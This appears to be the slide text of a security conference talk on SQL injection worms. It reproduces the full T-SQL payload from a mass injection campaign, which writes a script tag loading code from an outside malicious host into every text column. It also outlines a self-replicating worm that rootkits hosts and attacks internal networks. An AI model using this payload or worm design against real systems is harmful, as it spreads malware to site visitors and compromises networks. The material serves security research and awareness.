SQL Injection Worms for Fun & Profit
Justin Clarke, Andrew Carey Nairn
Overview

- The mass SQL Injection(s) earlier this year
- Why it could have been worse
- Demo

- What it’s not
  - Any revelation of secret SQL injection fu we don’t already know about
  - Anything discovered in the last 7-10 years
DECLARE @T VARCHAR(255),@C VARCHAR(255)
DECLARE Table_Cursor CURSOR FOR
SELECT a.name,b.name FROM sysobjects a,syscolumns b
WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR
b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO
@T,@C
WHILE(@@FETCH_STATUS=0) BEGIN
EXEC('UPDATE ['+@T+'] SET['+@C+
']=RTRIM(CONVERT(VARCHAR(4000),'['+@C+']))
+'<scriptsrc=http://www.ibse.ru/js.js></script>''')
FETCH NEXT FROM Table_Cursor
INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
Why isn’t this as bad as it could be?

- **Profit**
  - Aim is to install malware
  - But what about corporate systems?
  - What about installing rootkits on arbitrary DMZ’d/internal systems?
  - What about internal sites?
Why isn’t this as bad as it could be?

- **Foothold**
  - Updates database content with malicious scripting links
  - What about leveraging OS access?
  - What about leveraging database functionality (i.e. linked databases)?
Why isn’t this as bad as it could be?

- **Spread**
  - Uses Google, through a tool, to locate targets
  - What about self replication?
  - What about intranet/extranet replication?
Worms, weaponized

- Self replicate, multiple methods (Google, MSN, Yahoo, direct scanning of RFC 1918 addresses)
- Attack both URL and forms, keep simple state
- Rootkit the underlying OS, dial home
- Attack internal systems via the network
• Limited in the following ways
  – SQL Server only, no Oracle, MySQL, Sybase, DB2 etc
  – Doesn’t use privilege escalation attacks
  – Limits itself to RFC 1918 IPs
Recent Resources

- Scrawler (HP)

- Microsoft Source Code Analyzer for SQL Injection

- Microsoft URLScan 3.0 beta
Contact

- Justin Clarke - justin @ gdssecurity . com
- Andrew Carey Nairn – andrew @ gdssecurity . com